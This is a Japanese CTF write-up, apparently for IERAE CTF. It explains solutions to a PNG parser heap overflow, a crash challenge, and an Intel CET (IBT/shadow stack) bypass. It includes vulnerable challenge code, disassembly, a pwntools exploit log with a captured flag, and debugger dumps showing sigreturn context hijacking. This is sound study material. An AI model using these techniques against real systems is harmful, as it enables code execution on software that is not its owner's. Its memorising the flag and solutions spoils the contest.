今回はBlue Waterのjtとして参加して、おもに宿題とwarmupを担当していました。CETバイパス問は何とか解けましたが、一人では全てに気づけなかったなと感じています。

エクスプロイトはこちらに置いています。

PNGParser1, 2

pwnの宿題になっていた問題です。

pngを読み込んで保存してくれるプログラムです。1はSEGVハンドラにあってクラッシュさせると表示、2はコード実行まで必要です。おそらく1は部分点のような位置づけなので、2を解く方針で進めます。

もともと片手間でプレイするために用意されたらしいこと、zlibの展開をしていることから、IHDRで嘘をついたらおしまいかなと思いきや、ちゃんと出力が絞られて壊れないようになっています。サイズ周りも怪しそうに見えて色々入れますが、1バイトもはみ出しません。素晴らしい。

時間を使ってちゃんと読んで、危ないところを見つけました。

まずpngファイルからデータを取り出すまでの処理が少し怪しいです。parse_png_fileで一度サイズを抜いて、allocate_PNGFileでメモリを確保した後、再びparse_png_fileで中身を格納します。

PNGFile read_png_file(){
    printf("size of png: ");
    size_t size = read_long();

    if(size == 0 || size > MAX_PNG_SIZE){
        puts("invalid size");
        exit(1);
    }

    unsigned charpng_file = malloc(size);

    if(png_file == NULL){
        exit(1);
    }
    puts("send your png:");
    read_exact(png_file, size);

    unsigned int image_size = parse_png_file(png_file, size, NULL);
    PNGFile *png = allocate_PNGFile((image_size >> 16) & 0xffff, image_size & 0xffff);

    parse_png_file(png_file, size, png);

    free(png_file);

    return png;
}

parse_png_fileはというと、読み取りのバッファがない場合は、IHDRチャンクを読んだ瞬間にreturnしています。一方でバッファがあると、IHDRチャンクから読み取った画像サイズをpng->width, png->heightとして更新し、展開サイズであるpng->zstream.avail_outを合わせて計算します。

IHDRチャンクは1つもないとエラーですが、複数あっても怒られなさそうです。IDATチャンクの処理はIHDRチャンク読み取りで設定された長さを素直に入れて処理し、その値のチェックは行われません。

unsigned int parse_png_file(unsigned char png_file, size_t filesize, PNGFilepng){

    ...

    bool ihdr_seen = false;
    bool iend_seen = false;
    while(!ined_seen){

        ...

        case CHUNK_IHDR:

            ...

            if(png == NULL){
                return ((ihdr_chunk.width & 0xffff) << 16) | (ihdr_chunk.height & 0xffff);
            }else{
                png->width = ihdr_chunk.width & 0xffff;
                png->height = ihdr_chunk.height & 0xffff;

                png->zstream.next_in = Z_NULL;
                png->zstream.avail_in = 0;

                png->zstream.opaque = Z_NULL;
                png->zstream.next_out = png->data;
                png->zstream.avail_out = (png->width + 1) * png->height;
                if(inflateInit(&png->zstream) != Z_OK){
                    exit(1);
                }
                ihdr_seen = true;
            }
            break;
        case CHUNK_IDAT:
            if(!ihdr_seen){
                puts("no IHDR chunk");
                exit(1);
            }
            png->zstream.next_in = chunk_data;
            png->zstream.avail_in = chunk_length;
            if(inflate(&png->zstream, Z_NO_FLUSH) < 0){
                printf("inflate failed: %s\n", png->zstream.msg);
            }
            break;
        
        ...

ということで、IHDR(小)、IHDR(大)、IDAT(大)の組み合わせのPNGを入れると、IHDR(小)のサイズで確保した領域にIDAT(大)が展開されるため、めでたくヒープオーバーフローを起こします。あとはno-pieなので、tcacheを書き換えて、適切なGOTをgive_flag1, give_flag2に書き換えて終了です。3時間ほどかかりました。

Copy & Paste

Warmupの位置づけの問題です。

指定したファイルをバッファに展開してくれます。これもSEGVハンドラにフラグを表示する関数があるので、クラッシュが目標になります。

ディレクトリを開くと -1が返ってきたまま処理が進むので、なんとでもなりそうだなと思って、コピーソースにして終わり。と思いましたが、特に何も起こりません。

memcpy内の処理を追ってみると、どうもサイズが0xffffffffffffffffの時はそのサイズのままでコピーせず、srcとdstのポインタの差分を計算して処理するようになっていて、結果としてクラッシュしません。

一方でそのバッファは、size=-1として char *ptr = malloc(sizeof(char)*(size+1)); で取得されるため非常に小さく、受け手になっても弱そうです。ここで、とりあえず大きなファイルをコピーしてみようと思い立ってやってみると、フラグが表示されました。

[+] Opening connection to 35.236.188.145 on port 8190: Done
[DEBUG] Received 0x61 bytes:
    b'1. Create new buffer and load file content\n'
    b'2. Copy some buffer to another\n'
    b'3. Exit\n'
    b'Enter command: '
[DEBUG] Sent 0x2 bytes:
    b'1\n'
[DEBUG] Received 0x11 bytes:
    b'Enter file name: '
[DEBUG] Sent 0x8 bytes:
    b'/bin/sh\n'
[DEBUG] Received 0x80 bytes:
    b'Read 133880 bytes from /bin/sh\n'
    b'1. Create new buffer and load file content\n'
    b'2. Copy some buffer to another\n'
    b'3. Exit\n'
    b'Enter command: '
[DEBUG] Sent 0x2 bytes:
    b'1\n'
[DEBUG] Received 0x11 bytes:
    b'Enter file name: '
[DEBUG] Sent 0x5 bytes:
    b'/tmp\n'
[DEBUG] Received 0x79 bytes:
    b'Read -1 bytes from /tmp\n'
    b'1. Create new buffer and load file content\n'
    b'2. Copy some buffer to another\n'
    b'3. Exit\n'
    b'Enter command: '
[DEBUG] Sent 0x2 bytes:
    b'2\n'
[DEBUG] Received 0x14 bytes:
    b'Enter source index: '
[DEBUG] Sent 0x2 bytes:
    b'0\n'
[DEBUG] Received 0x19 bytes:
    b'Enter destination index: '
[DEBUG] Sent 0x2 bytes:
    b'1\n'
[] Switching to interactive mode
[DEBUG] Received 0xb bytes:
    b'Well done!\n'
Well done!
[DEBUG] Received 0x2d bytes:
    b'IERAE{7h3_f1rs7_s73p_7o_b3_4_pwn3r_51a7806b}\n'
IERAE{7h3_f1rs7_s73p_7o_b3_4_pwn3r_51a7806b}

ローカルだと落ちないので、メモリの量に依存してそうです。運がよかった。

Intel CET Bypass Challenge

おもしろかったです。ちゃんと動いているCFIに対して、任意引数2つと任意関数、スタックオーバーフローを駆使してバイパスしてくださいという問題です。

簡単にシェルが取れそうなプログラムが配布されています。

// gcc chal.c -fno-stack-protector -static -o chal
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>

void timedout(int) {
  puts("timedout");
  exit(0);
}

char g_buf[256];

int main() {
  char buf[16];
  long long int arg1 = 0;
  long long int arg2 = 0;
  void (*func)(long long int, long long int, long long int) = NULL;

  alarm(30);
  signal(SIGALRM, timedout);

  fgets(g_buf, 256, stdin); // My mercy
  fgets(buf, 256, stdin);
  if (func) func(arg1, arg2, 0);
}

攻撃するにあたり、追加の制限は2つあります。

  • IBT: callかjmpはendbr以外の命令に飛ぶとだめ。
  • SHSTK: 飛んだところに戻らないとだめ。(要はROPがだめ。)

まず、1度の入力で解決できないかを考えます。system, execve, mprotectなど試してみますが、存在しなかったり、3つ目の引数が0になっていたりで上手くいきません。

ROPを念頭にシャドウスタックを切ることを考えましたがこれはしばらくソースコードを追って、結論切れなさそうでした。

ふと見ると、timeoutsignalで遷移しています。これが使えるのかを見に行くと、ちゃんとendbrがついています。そこでまずsignal(SIGSEGV, main)として呼び、スタックを適当な値で埋めておくと、mainに戻ることができます。

また念のためと思い、endbr以降の命令から呼ぶとどうなるかを調べたところこれも通ります。びっくり。つまり、IBTはシグナル由来の呼び出しの場合は効かないようです。

これを利用して何かできないかを考えます。一番近いのはsigreturnを利用した方法で、ちょうどraxの設定含め関数があります。スタックがかなりかけるときに使える手段で、システムコール1つですべてを設定することができるため、今回の用途に合います。しかしこの関数にはendbrがないので、シグナル経由で呼ぶ必要があります。

  4046dc:       0f 1f 40 00             nop    DWORD PTR [rax+0x0]

00000000004046e0 <__restore_rt>:
  4046e0:       48 c7 c0 0f 00 00 00    mov    rax,0xf
  4046e7:       0f 05                   syscall
  4046e9:       0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]

さてSEGVでsigreturnのコードに行く状態にして、スタックを適当に書いて飛んでみると、うまくレジスタをコントロールできていません。よく見ると、フレームが元のスタックアドレスのかなり低位なところに確保されていて、用意したsigreturn用のペイロードに到達していません。

これを解決するにはadd rspleaveを使ってから、__restore_rtに飛ぶ必要がありますが、retを挟むことができないのでこの方法もだめです。

別の方法として、フラグ名は/flagで固定なので、普通にopen read writeもできそうです。が、これも3つ目の引数が0になっていてどうしようもなさそうです。詰まってしまい、4時なので一旦諦めて寝ました。

翌朝、引き継いでくれたチームの方から、putsfflushでAARはできるね、_dl_make_stacks_executablemprotectがあるし、スタックリークしてrwxにして飛ばしたらいいのではとアイデアいただいたので、そちらに視点を移します。

ソースを確認しながら読んでいきますが、どう考えてもソースとバイトコードが合いません。いまだに謎になっています。(謎その1)

ソースはここ、対応する場所は以下です。

0000000000459200 <_dl_make_stacks_executable>:
  459200:       f3 0f 1e fa             endbr64
  459204:       55                      push   rbp
  459205:       48 89 e5                mov    rbp,rsp
  459208:       41 54                   push   r12
  45920a:       53                      push   rbx
  45920b:       48 89 fb                mov    rbx,rdi
  45920e:       48 83 ec 10             sub    rsp,0x10
  459212:       48 8b 35 ff 1e 05 00    mov    rsi,QWORD PTR [rip+0x51eff]        # 4ab118 <_dl_pagesize>
  459219:       8b 15 31 f2 04 00       mov    edx,DWORD PTR [rip+0x4f231]        # 4a8450 <__stack_prot>
  45921f:       48 89 f7                mov    rdi,rsi
  459222:       48 f7 df                neg    rdi
  459225:       48 23 3b                and    rdi,QWORD PTR [rbx]
  459228:       e8 83 21 fc ff          call   41b3b0 <__mprotect> // <----- 1
  45922d:       85 c0                   test   eax,eax
  45922f:       0f 85 03 01 00 00       jne    459338 <_dl_make_stacks_executable+0x138> // <-----
  459235:       83 0d cc 1e 05 00 01    or     DWORD PTR [rip+0x51ecc],0x1        # 4ab108 <_dl_stack_flags>
  45923c:       48 c7 03 00 00 00 00    mov    QWORD PTR [rbx],0x0
  459243:       31 c0                   xor    eax,eax
  459245:       ba 01 00 00 00          mov    edx,0x1
  45924a:       f0 0f b1 15 8e 78 05    lock cmpxchg DWORD PTR [rip+0x5788e],edx        # 4b0ae0 <_dl_stack_cache_lock>
  459251:       00
  459252:       0f 85 f8 00 00 00       jne    459350 <_dl_make_stacks_executable+0x150>
  459258:       48 8b 1d c1 78 05 00    mov    rbx,QWORD PTR [rip+0x578c1]        # 4b0b20 <_dl_stack_used>
  45925f:       4c 8d 25 ba 78 05 00    lea    r12,[rip+0x578ba]        # 4b0b20 <_dl_stack_used> // <-----
  459266:       4c 39 e3                cmp    rbx,r12
  459269:       75 0d                   jne    459278 <_dl_make_stacks_executable+0x78>
  45926b:       eb 63                   jmp    4592d0 <_dl_make_stacks_executable+0xd0>
  45926d:       0f 1f 00                nop    DWORD PTR [rax]
  459270:       48 8b 1b                mov    rbx,QWORD PTR [rbx]
  459273:       4c 39 e3                cmp    rbx,r12
  459276:       74 58                   je     4592d0 <_dl_make_stacks_executable+0xd0>
  459278:       48 8b bb e0 03 00 00    mov    rdi,QWORD PTR [rbx+0x3e0]
  45927f:       48 8b b3 d8 03 00 00    mov    rsi,QWORD PTR [rbx+0x3d8]
  459286:       ba 07 00 00 00          mov    edx,0x7
  45928b:       48 29 fe                sub    rsi,rdi
  45928e:       48 03 bb d0 03 00 00    add    rdi,QWORD PTR [rbx+0x3d0]
  459295:       e8 16 21 fc ff          call   41b3b0 <__mprotect>  // <----- 2
  45929a:       85 c0                   test   eax,eax
  45929c:       74 d2                   je     459270 <_dl_make_stacks_executable+0x70>
  45929e:       48 c7 c0 c0 ff ff ff    mov    rax,0xffffffffffffffc0
  4592a5:       64 8b 00                mov    eax,DWORD PTR fs:[rax]
  4592a8:       85 c0                   test   eax,eax
  4592aa:       74 c4                   je     459270 <_dl_make_stacks_executable+0x70>
  4592ac:       31 d2                   xor    edx,edx
  4592ae:       87 15 2c 78 05 00       xchg   DWORD PTR [rip+0x5782c],edx        # 4b0ae0 <_dl_stack_cache_lock>
  4592b4:       83 fa 01                cmp    edx,0x1
  4592b7:       0f 8f ab 00 00 00       jg     459368 <_dl_make_stacks_executable+0x168>
  4592bd:       48 83 c4 10             add    rsp,0x10
  4592c1:       5b                      pop    rbx
  4592c2:       41 5c                   pop    r12
  4592c4:       5d                      pop    rbp
  4592c5:       c3                      ret

まず1のmprotectまでのコードについてです。call直後にlockがあることから、恐らくこれはmake_main_stack_executableのはずです。ところがrdxに入る値は0x4a8450 <__stack_prot>: 0x0000000001000000ということでprotとしておかしいし、結果rwxが全部ない状態になります。rsiは0x1000が入り、rdiにはこちらの指定したポインタが入り、アドレスはそこから取られます。

しかしどこのアドレスが取られようとも、第三引数が0では役に立ちません。諦めていたところ、別の方から、下の方ではリストを使ってちゃんとmprotectしてそうという知見をいただき、続きを見てみます。

それが2のmprotectまでのコードです。こちらでは、rdxは直前でがっつり7が入っています。rdiをたどっていくと、なんと書き込み可能なリストである_dl_stack_usedから持ってきています。書き換えるだけで使えそうです。

最大の問題は、1のmprotectを成功させる必要があることです。これが成功しないと、2のmprotectに行かずに終了するためです。no-pieなので、知っているアドレスを適当に入れたらええのではくらいにしか思っていませんでしたので、何を入れてもだめで困ります。(謎その2)

たまたま、スタックアドレスだと成功することを発見していたので、リークと組み合わせて、スタックアドレスを適当に入力して生贄にします。利用しているところにかぶっていると失敗するのでずらして、ようやくno-pieのアドレス範囲のメモリをrwxにすることに成功しました。

ということで以下の手順で解けます。

  • signal(SIGSEGV, main)で無限ループを作る
  • __libc_argvをリーク(putsfflushで2周)
  • strcpy_dl_stack_usedg_bufへ向ける
  • g_bufに必要な情報を書いて、_dl_make_stacks_executableで適当な領域をrwxにする
  • rwxにendbrとシェルコードを積んで呼ぶ

デバッグ環境がちゃんと構築できず、手元で作って動かし、リモートが同じ挙動をするかを見ながら進めていました。リークが返ってこなかったり、スタックのリーク値が微妙に違ったりしたときはヒヤリとしましたが、解けて良かったです。

復習編

作問者writeup

  • https://gmo-cybersecurity.com/blog/intel-cet-bypass-on-linux-userland/
  • 小池さんによる、防御技術と回避方法の詳細に関する記事です。特にカーネルを利用してripを動かすと検証されないことがある、sigactionが設定できるもの、あたりは知らないことが多くおもしろかったです。
  • 解法パートでは、同じ_dl_make_stacks_executableを使う解法ですが、リークがいらなそうです。mprotectはaddrに0を入れればよかったようです。試していなかったので反省。
  • 他、signalの代わりにsigactionを使っていたり、_dl_stack_cacheを使っています。それ以外は似てそうです。

_dl_make_stacks_executableの最初の回避をやってるときは、また何か変な解法を生み出したかと若干の不安がありましたが、ほぼ想定解でした。ちゃんと設計通り楽しめて良かったです。

sigreturnできる

  • https://gist.github.com/sroettger/f4af7259bebb4d166ea3b468ba42d025
  • tsuroさんによる、sigreturnを利用した非常にシンプルな解法です。短くてきれい。顧客が本当に求めていたもの。
  • やっていることはsignal(SEGV, main)から、次のmainfuncを埋めずにそのままリターンしていています。
  • mainからのreturnのとき、戻りアドレスを__restore_rtにしていて、これがエラーなく入っています。なぜ。

調べました。結論として、sigactionあたりでそういう仕様になっているようです。そういえば先の記事でも以下の記載がありました。

rt_sigactionではシグナルハンドラにとってのリターンアドレスとなる、sa_restorerを指定することができます。デフォルトでは、シグナルハンドラから元のコンテキストに復帰するため、以下ような__restore_rtが指定されます。

そもそもSIGSEGVからmainに飛ぶとき、以下のようにreturnアドレスが__restore_rtに向けられます。その下はそれまでのレジスタ一式が格納されているようです。要はSEGV時のコンテキストを保存して、シグナルとして新しく関数が立ち上がり、終了時はsigreturnで戻るようになっています。(sigからreturnするという意味だったんですね。)

以下はSEGVしたときのレジスタの状態です。

[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x1               
$rcx   : 0x00000000004047ca  →  0x870ffffff0003d48 ("H="?)
$rdx   : 0x0               
$rsp   : 0x00007ffc158f7bb8  →  "oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabba[...]"
$rbp   : 0x6161616e6161616d ("maaanaaa"?)
$rsi   : 0x00007ffc158f78e0  →  0x000000000040190d  →  <main+0> endbr64 
$rdi   : 0xb               
$rip   : 0x00000000004019ac  →  <main+159> ret 
$r8    : 0x00007ffc158f7ad0  →  0x0000000000000000
$r9    : 0x0               
$r10   : 0x8               
$r11   : 0x202             
$r12   : 0x00007ffc158f7cc8  →  0x00007ffc158f82cb  →  0x53006c6168632f2e ("./chal"?)
$r13   : 0x00007ffc158f7cd8  →  0x00007ffc158f82d2  →  "SHELL=/bin/bash"
$r14   : 0x00000000004a5f68  →  0x00000000004018b0  →  <frame_dummy+0> endbr64 
$r15   : 0x1               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffc158f7bb8│+0x0000: "oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabba[...]"    ← $rsp
0x00007ffc158f7bc0│+0x0008: "qaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabda[...]"
0x00007ffc158f7bc8│+0x0010: "saaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfa[...]"
0x00007ffc158f7bd0│+0x0018: "uaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabha[...]"
0x00007ffc158f7bd8│+0x0020: "waaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabja[...]"
0x00007ffc158f7be0│+0x0028: "yaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaabla[...]"
0x00007ffc158f7be8│+0x0030: "baabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabna[...]"
0x00007ffc158f7bf0│+0x0038: "daabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpa[...]"
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4019a3 <main+150>       call   r8
     0x4019a6 <main+153>       mov    eax, 0x0
     0x4019ab <main+158>       leave  
 →   0x4019ac <main+159>       ret    
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "chal", stopped 0x4019ac in main (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4019ac → main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  

以下はSEGVした1ステップ後の状態です。 注目は、スタックがかなり伸びていること、リターンアドレスがセットされていること、レジスタがrbpを除いて一新されていること。などです。

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x1               
$rcx   : 0x00000000004047ca  →  0x870ffffff0003d48 ("H="?)
$rdx   : 0x00007ffc158f6ec0  →  0x0000000000000007
$rsp   : 0x00007ffc158f6eb8  →  0x00000000004046e0  →  <__restore_rt+0> mov rax, 0xf
$rbp   : 0x6161616e6161616d ("maaanaaa"?)
$rsi   : 0x00007ffc158f6ff0  →  0x0000000000000000
$rdi   : 0xb               
$rip   : 0x000000000040190d  →  <main+0> endbr64 
$r8    : 0x00007ffc158f7ad0  →  0x0000000000000000
$r9    : 0x0               
$r10   : 0x8               
$r11   : 0x202             
$r12   : 0x00007ffc158f7cc8  →  0x00007ffc158f82cb  →  0x53006c6168632f2e ("./chal"?)
$r13   : 0x00007ffc158f7cd8  →  0x00007ffc158f82d2  →  "SHELL=/bin/bash"
$r14   : 0x00000000004a5f68  →  0x00000000004018b0  →  <frame_dummy+0> endbr64 
$r15   : 0x1               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffc158f6eb8│+0x0000: 0x00000000004046e0  →  <__restore_rt+0> mov rax, 0xf         ← $rsp
0x00007ffc158f6ec0│+0x0008: 0x0000000000000007   ← $rdx
0x00007ffc158f6ec8│+0x0010: 0x0000000000000000
0x00007ffc158f6ed0│+0x0018: 0x0000000000000000
0x00007ffc158f6ed8│+0x0020: 0x0000000000000002
0x00007ffc158f6ee0│+0x0028: 0x0000000000000000
0x00007ffc158f6ee8│+0x0030: 0x00007ffc158f7ad0  →  0x0000000000000000
0x00007ffc158f6ef0│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4018fe <timedout+25>    call   0x405470 <puts>
     0x401903 <timedout+30>    mov    edi, 0x0
     0x401908 <timedout+35>    call   0x404e60 <exit>
 →   0x40190d <main+0>         endbr64 
     0x401911 <main+4>         push   rbp
     0x401912 <main+5>         mov    rbp, rsp
     0x401915 <main+8>         sub    rsp, 0x30
     0x401919 <main+12>        mov    QWORD PTR [rbp-0x8], 0x0
     0x401921 <main+20>        mov    QWORD PTR [rbp-0x10], 0x0
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "chal", stopped 0x40190d in main (), reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40190d → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ 

続いてmainに戻ったときのスタックです。rip含めレジスタ一式がそのまま残っているように見えます。ここをまるっと書き換えることで、シグナルからの復帰のコンテキストをそのまま乗っ取れます。

gef➤  tel
0x00007ffc158f6eb8│+0x0000: 0x00000000004046e0  →  <__restore_rt+0> mov rax, 0xf         ← $rsp
0x00007ffc158f6ec0│+0x0008: 0x0000000000000007   ← $rdx
0x00007ffc158f6ec8│+0x0010: 0x0000000000000000
0x00007ffc158f6ed0│+0x0018: 0x0000000000000000
0x00007ffc158f6ed8│+0x0020: 0x0000000000000002
0x00007ffc158f6ee0│+0x0028: 0x0000000000000000
0x00007ffc158f6ee8│+0x0030: 0x00007ffc158f7ad0  →  0x0000000000000000
0x00007ffc158f6ef0│+0x0038: 0x0000000000000000
0x00007ffc158f6ef8│+0x0040: 0x0000000000000008
0x00007ffc158f6f00│+0x0048: 0x0000000000000202
gef➤  
0x00007ffc158f6f08│+0x0050: 0x00007ffc158f7cc8  →  0x00007ffc158f82cb  →  0x53006c6168632f2e ("./chal"?)
0x00007ffc158f6f10│+0x0058: 0x00007ffc158f7cd8  →  0x00007ffc158f82d2  →  "SHELL=/bin/bash"
0x00007ffc158f6f18│+0x0060: 0x00000000004a5f68  →  0x00000000004018b0  →  <frame_dummy+0> endbr64 
0x00007ffc158f6f20│+0x0068: 0x0000000000000001
0x00007ffc158f6f28│+0x0070: 0x000000000000000b ("
                                                 "?)
0x00007ffc158f6f30│+0x0078: 0x00007ffc158f78e0  →  0x0000000000000000
0x00007ffc158f6f38│+0x0080: 0x6161616e6161616d
0x00007ffc158f6f40│+0x0088: 0x0000000000000001
0x00007ffc158f6f48│+0x0090: 0x0000000000000000
0x00007ffc158f6f50│+0x0098: 0x0000000000000000
gef➤  
0x00007ffc158f6f58│+0x00a0: 0x00000000004047ca  →  0x870ffffff0003d48 ("H="?)
0x00007ffc158f6f60│+0x00a8: 0x00007ffc158f7bb8  →  "oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabba[...]"
0x00007ffc158f6f68│+0x00b0: 0x00000000004019ac  →  <main+159> ret 
0x00007ffc158f6f70│+0x00b8: 0x0000000000010246
0x00007ffc158f6f78│+0x00c0: 0x002b000000000033 ("3"?)
0x00007ffc158f6f80│+0x00c8: 0x0000000000000000
0x00007ffc158f6f88│+0x00d0: 0x000000000000000d ("\r"?)
0x00007ffc158f6f90│+0x00d8: 0x0000000000000000
0x00007ffc158f6f98│+0x00e0: 0x0000000000000000
0x00007ffc158f6fa0│+0x00e8: 0x00007ffc158f7080  →  0x000000000000037f
gef➤  

というわけで、sigreturnを使ったというよりは、使われていたのをとてもきれいに利用したというエクスプロイトでした。すごい。

シグナルハンドラからのリターンアドレス以降を書き換えられるときはSHSTKをバイパスして任意の状態にできるため、かなり強力です。

ちょっと試してみたいのは、__restore_rtを変なところに向けてもいいのでは、ということです。仮説としてシグナルハンドラがIBTに引っかからないのが事実なので、逆もまた同じなのではというのがあります。まともに環境構築できていないため、書き残すだけで留めます。

g_bufなし

フラグによるとg_bufがなくても解けるということで少し考えてみました。

staticバイナリ上のどこかには書きたいバイト列が存在するだろうから、strcpyで必要なものを1バイトずつ集めて先頭から書き込むことが可能です。これを使ってg_buf相当のものを用意してあげれば、我々の解法であれば多分解けそうだなと思っています。

おわりに

長々と書きましたがおもしろかったです。もうちょっとサラリと解けると良かったなと思います。free2freeは着手しながら何の方針もたたなかったので良く復習しようと思います。